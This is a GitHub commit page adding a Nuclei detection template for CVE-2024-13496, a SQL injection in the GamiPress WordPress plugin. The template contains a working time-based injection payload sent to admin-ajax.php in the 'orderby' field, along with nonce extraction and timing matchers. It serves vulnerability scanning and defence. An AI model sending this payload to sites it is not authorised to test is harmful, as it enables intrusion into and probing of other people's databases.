Skip to content

Commit 9e7f96a

Browse files
Merge pull request #11816 from projectdiscovery/CVE-2024-13496
Create CVE-2024-13496.yaml
2 parents c3e0912 + 103e8fa commit 9e7f96a

File tree

1 file changed

+64
-0
lines changed

1 file changed

+64
-0
lines changed

http/cves/2024/CVE-2024-13496.yaml

+64
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,64 @@
1+
id: CVE-2024-13496
2+
3+
info:
4+
name: GamiPress <= 2.8.9 - SQL Injection
5+
author: ritikchaddha
6+
severity: high
7+
description: |
8+
GamiPress WordPress plugin version 2.8.9 and below suffers from an SQL injection vulnerability due to insufficient sanitization of user input, allowing attackers to execute arbitrary SQL commands.
9+
reference:
10+
- https://abrahack.com/posts/gamipress-sqli/
11+
- https://nvd.nist.gov/vuln/detail/CVE-2024-13496
12+
classification:
13+
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
14+
cvss-score: 9.8
15+
cve-id: CVE-2024-13496
16+
cwe-id: CWE-89
17+
metadata:
18+
max-requests: 2
19+
fofa-query: body="/wp-content/plugins/gamipress"
20+
tags: cve,cve2024,wp,wordpress,gamipress,sqli,wp-plugin
21+
22+
http:
23+
- raw:
24+
- |
25+
GET / HTTP/1.1
26+
Host: {{Hostname}}
27+
28+
- |
29+
@timeout: 30s
30+
POST /wp-admin/admin-ajax.php HTTP/1.1
31+
Host: {{Hostname}}
32+
Content-Type: multipart/form-data; boundary=WebKitFormBoundaryPzS34wz7rAyyJYSi
33+
34+
------WebKitFormBoundaryPzS34wz7rAyyJYSi
35+
Content-Disposition: form-data; name="action"
36+
37+
gamipress_get_logs
38+
------WebKitFormBoundaryPzS34wz7rAyyJYSi
39+
Content-Disposition: form-data; name="nonce"
40+
41+
{{nonce}}
42+
------WebKitFormBoundaryPzS34wz7rAyyJYSi
43+
Content-Disposition: form-data; name="orderby"
44+
45+
(SELECT/**/sleep(8)/**/FROM/**/dual/**/WHERE/**/1/**/LIKE/**/1)#
46+
------WebKitFormBoundaryPzS34wz7rAyyJYSi--
47+
48+
matchers:
49+
- type: dsl
50+
dsl:
51+
- 'duration>= 8'
52+
- 'status == 200'
53+
- 'contains(headers, "application/json")'
54+
- 'contains(body, "success\":true")'
55+
condition: and
56+
57+
extractors:
58+
- type: regex
59+
part: body
60+
name: nonce
61+
group: 1
62+
regex:
63+
- '"nonce":"([0-9a-z]+)"'
64+
internal: true

0 commit comments

Comments
 (0)